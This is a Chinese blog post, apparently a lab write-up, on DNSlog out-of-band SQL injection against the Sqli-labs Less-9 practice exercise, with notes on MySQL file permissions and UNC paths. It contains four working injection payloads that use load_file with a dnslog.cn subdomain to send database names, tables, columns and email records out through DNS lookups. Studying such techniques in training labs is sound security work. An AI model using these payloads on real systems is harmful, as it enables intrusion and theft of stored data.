DNSlog注入测试

之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。

此时,我们就要用到DNSlog注入——一个可以以较少的访问次数快速获取信息的注入方式。

(不过,它对服务端有一些额外要求;此处的DNSlog注入必须在相关权限开放且服务端系统为windows时才可执行)

(BUUOJ那个sql-lab就不行)

本测试请不要在校园网上进行!!!

 

准备工作:

一、DNS方面:一个可用的本地DNS服务器。

  此处使用http://www.dnslog.cn/

  Get SubDomain以后,验证是否能够使用:

  输入URL:http://test.z2v67d.dnslog.cn/ ,有:

 证明DNS服务器工作正常。

二、SQL方面:检查权限字段

 如果是这样就行了;不是的话去相关ini文件把第三个值删掉。

三、复现:

以Sql-labs Less-9为例。我们曾经以时间盲注解过此题。

   payloads:

  id=-1' and if((select load_file(concat('\\\\',(select database() limit 0,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+

  id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database() ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+

  id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='emails' ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+

  id=-1' and if((select load_file(concat('\\\\',(select hex((email_id)) from emails limit 1,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+

  DNS服务器记录:

   解码: 

 四、心路历程

  实现这玩意之前我对DNS一窍不通,所以花了挺长时间看原理(现在其实还是有点晕)

  实现过程中,主要的两道坎:

    (1)Load_file 

      里面需要加入绝对路径。 eg:select load_file('D:/wamp64/www/sqli-labs-php7-master/Less-1/result.txt');

      而在测试时,需要使用UNC网络路径       

        格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
          目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。
      eg: select load_file('\\\\loadfiletest.z2v67d.dnslog.cn\\abc'); 
      双倍反斜杠是为了处理转义。   

    (2)查库内容

  (若查询成功,页面会有几秒的刷新延迟;可通过这个快速判断查询成败(类似time-blind了有没有))

      
posted @ 2021-11-01 12:53  hiddener  阅读(199)  评论(0编辑  收藏  举报